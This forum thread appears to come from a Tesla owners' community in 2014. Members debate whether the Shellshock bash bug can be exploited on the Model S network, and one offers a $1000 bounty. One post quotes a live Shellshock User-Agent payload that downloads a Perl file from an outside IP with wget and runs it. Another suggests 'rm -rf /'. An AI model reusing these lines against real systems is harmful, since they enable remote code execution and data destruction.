Successful connection on the Model S internal Ethernet network

[apacheguy]

They cut off access to the Ethernet network.

Really? So nobody's found an alternative entry point? I don't know much, but disabling a LAN bridge doesn't sound like something that would stop a determined hacker. I mean the network still has to be up, otherwise the 3 devices wouldn't be able to communicate. I would think one could easily tap in to one of those wires thereby bypassing the bridge.

Additionally, I find it hard to believe that the diagnostic port has been completely disabled. What's a ranger to do with a car in a dead zone? There must be some magic packet that can be sent to initiate data flow.

 

[jvonbokel]

What's a ranger to do with a car in a dead zone? There must be some magic packet that can be sent to initiate data flow.

Just playing a bit of devil's advocate here, but they could use a wi-fi hotspot, connect both the car and laptop to it, and then mimic the back-end on their laptop.

 

[wk057]

I disagree that it's being blown out of proportion. This issue is extremely serious. There are many places where data gets put into a bash shell as an environment variable that a programmer would have no reason to think that action would cause arbitrary code execution. I'm willing to bet this is somehow exploitable on the Model S, but would require access to the internal network connection and is therefore not a big problem for the Model S, however for the industry and Internet as a whole, it's a very serious problem.

At the risk of going off topic here...

What sane programmer of a remotely accessible application uses bash on the backend? That sounds like the error right there IMO. Not even crappy embedded devices use bash because it's pretty heavy weight compared to other shells.

I'd probably be willing to put a bounty on this with regard to the Model S honestly. I have virtually zero chance of having to pay up...

In the wild I'm sure there are a handful of lazily programmed scripts that are web facing somewhere out there that might be vulnerable to this... but I fail to see the epidemic.

 

[markb1]

At the risk of going off topic here...

What sane programmer of a remotely accessible application uses bash on the backend? That sounds like the error right there IMO. Not even crappy embedded devices use bash because it's pretty heavy weight compared to other shells.

I'd probably be willing to put a bounty on this with regard to the Model S honestly. I have virtually zero chance of having to pay up...

In the wild I'm sure there are a handful of lazily programmed scripts that are web facing somewhere out there that might be vulnerable to this... but I fail to see the epidemic.

A handful? There are tons of CGI scripts out there. Apache executes the shell on the way to the script, and puts various client-supplied HTTP headers in environment variables. I don't think it matters whether the CGI script itself it written in bash. And that's just one vector.

I think it's reasonable to expect that when you execute a shell script, it's not going to execute code that you didn't ask it to execute. I expect that I have to be really careful in writing the shell script, but in this case, no matter how carefully crafted the shell script is, it's going to execute code in environment variables that I didn't even reference.

 

[pgiralt]

Exactly. Look at this article for a very simple exploit (just sends pings, but can easily be used to do something much more nefarious).

Troy Hunt: Everything you need to know about the Shellshock Bash bug

 

[markwj]

The stupid bash exploit is being blown way out of proportion.

Whatever lets you get arbitrary data to bash, *that* is the exploit.

If you can access bash generally you already have legit access unless you find an actual security hole *in something else*.

Corrected headline: Linux software that lets users do things lets users do things!

I disagree. It is truly terrifying.

To expect every program to sanitize the inherited environment variables prior to fork+exec is just not being done. Sure, in an ideal world, but in the real world perhaps 1 program in 1000 does it.

The core issue is bash actually allowing code in environment variables and auto-executing it on startup (plus the bugs around code after the function definition). That is what makes the other 999 programs potentially vulnerable.

 

[chickensevil]

You do realize there was a guy who used masscan (he is the one who made it) that is able to scan the entire internet in under 6 minutes, and was able to very easily identify about 5,000 vulnerable servers, and his scan wasn't even remotely sophisticated and was only attacking the CGI vector. If you need to set or change your HTTP headers for any reason, guess what you just did? You set an environmental variable, which just made you vulnerable to the exploit, yay!

So this is why I was originally thinking about this through the REST API, but I don't think the way REST communicates it is capable of being exploited in this way.

 

[hans]

You do realize there was a guy who used masscan (he is the one who made it) that is able to scan the entire internet in under 6 minutes, and was able to very easily identify about 5,000 vulnerable servers, and his scan wasn't even remotely sophisticated and was only attacking the CGI vector. If you need to set or change your HTTP headers for any reason, guess what you just did? You set an environmental variable, which just made you vulnerable to the exploit, yay!

So this is why I was originally thinking about this through the REST API, but I don't think the way REST communicates it is capable of being exploited in this way.

The REST calls go to the Tesla datacenter and into ruby/rails and nodejs apps. Nobody yet knows the wire protocols between Tesla's datacenter and the actual in-car systems.

 

[chickensevil]

I did find out today after calling Tesla for an issue I was having with my car that when you are on WiFi the 3G card isn't active. Because I was initially in a weird transition between the two. I don't know if this is already known information but for the purposes of intercepting traffic this would certainly help force it through one pipe.

Also having your phone be forced to go to their datacenter and then over to your car seems kinda cumbersome... But does make that connection a bit more secure.

 

[chickensevil]

shellshocker-pocs/README.md at master · mubix/shellshocker-pocs · GitHub

Just going to leave this here... have fun!

 

[HankLloydRight]

I've been meaning to try that since Shellshock hit the streets, just haven't had any time. There's an image on the 'net of a tftpd server offering DHCP with the exploit code embedded in the DHCP settings, which I was going to try. Looks very simple to set up just as a proof of concept.

This is the one: Shellshock DHCP RCE Proof of Concept -

- - - Updated - - -

The stupid bash exploit is being blown way out of proportion.
Whatever lets you get arbitrary data to bash, *that* is the exploit.
If you can access bash generally you already have legit access unless you find an actual security hole *in something else*.
Corrected headline: Linux software that lets users do things lets users do things!

Obviously you don't understand how the exploit works. I'm already seeing Shellshock exploit attempts against my webserver, with this code in the HTTP USER AGENT field, which usually identifies the browser, but in this case, it downloads and executes a perl program, which likely is a rootkit or some other agent the attacker can access to do other things (file manager, rouge web server, botnet client, etc). Here's the USER AGENT string:

User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"

So no, you don't need legit access in order to use this exploit, for a vulnerable machine, ANYONE can get root access as easily as spoofing the USER AGENT string in any normal HTTP request on a web server.

 

[Olen]

Only if you have a vulnerable cgi-script (or some other environment that will trigger bash from the Web server process).

 

[Olen]

AND gaining root _also_ requires some kind of local privilege escalation, which might or might not be possible.

 

[chickensevil]

Only if you have a vulnerable cgi-script (or some other environment that will trigger bash from the Web server process).

Please just click on the Git-Hub link I provided... you will easily see that it is far more (even in the HTTP category) than just cgi-script, and this is coding that people have been doing to their websites for ever and a day.

Anyway, the DHCP one might be clever enough to work since you can enable the wifi on the car and it has to acquire your DHCP settings from your server. The question would be how to detect that it worked. I am also curious to know if they are actually even using bash on the car, since it might be that they have set the car up to have dash or some other one set as their default /bin/sh.

- - - Updated - - -

AND gaining root _also_ requires some kind of local privilege escalation, which might or might not be possible.

/facepalm do you not realize that it executes with the same permissions as the service which you are exploiting? In the case of the DHCP client this runs at a privileged level already. Most web servers run the web service at a privileged level. Just look at the example code provided and you can clearly see that it is expect some kind of privileged execution.

You don't need privilege escalation. It is already provided to you through the initial exploit.

 

[HankLloydRight]

Anyway, the DHCP one might be clever enough to work since you can enable the wifi on the car and it has to acquire your DHCP settings from your server. The question would be how to detect that it worked.

Easy.. just do a wget or curl to some specific web address and either watch the logs or have an active program (Perl, PHP, etc) receive the request and acknowledge it received the request. You could also just do a ping to an address and watch the firewall logs for the incoming request.

Or you could just try sending 'rm -rf /' and see what happens.

 

[Olen]

Well, MY webserver runs as "nobody" with pretty strict selinux-rules to prevent it from accessing files and resources it doesn't need. I have not he of anyone running a webserver as root, being apache or anything else, for many, many years. Dhclient might run as root, but you will at least need access to the LAN to set up a rouge dhcp-server. With Teslas wlan-access that might be a viable attac-vector to try to get access to the car. In most other situations there are limited ways to do that. (If you can set up a rouge dhcp-server, you can already do all sorts of nasty stuff, by adding proxy-configurations, altering dns and so on.
The point is, I agree that this is a serious "bug", and we _might_ be able to exploit it to get at least some access to the car. But most servers on the Internet is not seriously affected, and even if you are able to actually run a bash-command as an unprivileged user (and that can be bad enough, as you can easily become part in a botnet), there is an even smaller chance that the attacker will be able to gain root.

 

[wk057]

Sorry, I understand exactly how the exploit works.

A scanner bot has already crawled every page on several websevers I administer attempting the exploit prior to my applying updates. Sorry folks, unless you've misconfigured your server or are just lazy, this exploit poses little threat to you in the form of a remote attack.

There just is not much of a reason for remote requests to ever arbitrarily pass through bash. This would be a huge performance hit for one, and pretty pointless altogether.

To prove I'm not just talking out of my ***, I'll put a $1000 bounty if you manage to make this work on the Model S, payable when I replicate your results on my own vehicle. Thats how confident I am that this does not affect the Model S in the form of a remote exploit. Remote being through the on-board LAN in this case.

First to post the working exploit here in this thread gets the bounty.

Good luck, and drop it until you have results.

 

[HankLloydRight]

There just is not much of a reason for remote requests to ever arbitrarily pass through bash. This would be a huge performance hit for one, and pretty pointless altogether.

But there are lots of web servers that call cgi programs (Perl, PHP, etc) from Apache that do start through a bash shell, and all of those are vulnerable (assuming the machines weren't updated). It's also possible for any properly configured web server to launch a PHP program (not through cgi), which then uses system() or exec() or passthru() or even the backtick operator (PHP: Execution Operators - Manual ) to execute an external program, which also launches bash and the exploited environment variables.

You seem to be the only one who doesn't think this exploit is a big deal.

Remote being through the on-board LAN in this case.

Well, since currently nobody can even get *on* the LAN or connect to anything to execute the exploit, that's a pretty safe bet. Are you including the DHCP Wi-Fi vector in your bounty?

 

[wk057]

As noted earlier in this thread the LAN is still active and accessible elsewhere.

Wifi dhcp etc are fine for the bounty. Just no modding of software or hardware on the car to do so (aside from whats needed to connect to the LAN).

As for CGI executing a shell... sure. It generally executes /bin/sh ... which isnt necessarily bash... can be, but isn't always.

 

[wk057]

So, just to clarify my little bounty now that I have an extra moment to do so...

The attacker must exploit the recently discovered bug in "bash", which was fixed under CVE-2014-6271/CVE-2014-7169, on one of the systems integrated into an unmodified Model S. Specifically, based on info in this thread, the center console, the dash console, or the "gateway" module. Feel free to try via WiFi, 3G, the internal LAN on the car, normal use of the touchscreen (ex: typing a URL or going to a web page), the USB ports (USB identifiers?), or other reasonable means. Kudos for a network based exploit, however.

The exploit must be able to be verified by any third party who desires to do so, and specifically must be verifiable by me on my own unmodified Model S. I will refrain from applying updates to my car beyond the currently installed v6.0 update, which seems to have been released prior to CVE-2014-7169, or I will ensure I have access to a non-updated Model S to use to verify claims. I'm working under the assumption that the next set of updates would update bash, if it even exists in the car at all, and close off any potential problems associated with it.

Essentially, if I can not duplicate the result, no bounty. First to post a process to exploit the bug here, along with at least some kind of visible proof that it works, wins the $1000 bounty after I personally verify the attack.
The bounty will remain open until 2014-10-28 00:00:00 UTC, or until a winner is declared, whichever comes first.

I reserve the final say on the awarding of the bounty. This is essentially done in good faith, on my own, not associated with Tesla Motors. I'm not responsible for anything you do or do not do as a result of this little contest or in pursuit of this bounty. Any legal action taken against me with regard to this bounty completely voids this contest, since that would kind of go against the good faith part of the whole thing. This is all in good fun. If for whatever reason this gets out of hand or turns into some ridiculous internet-troll type nonsense, I'll pull the plug on this. I expect everyone involved to behave please.

I'll also note that for kicks I've tried a bunch of attacks on the Model S with regard to this bug already without success, and I'm pretty confident that others will have similar results.

Good luck.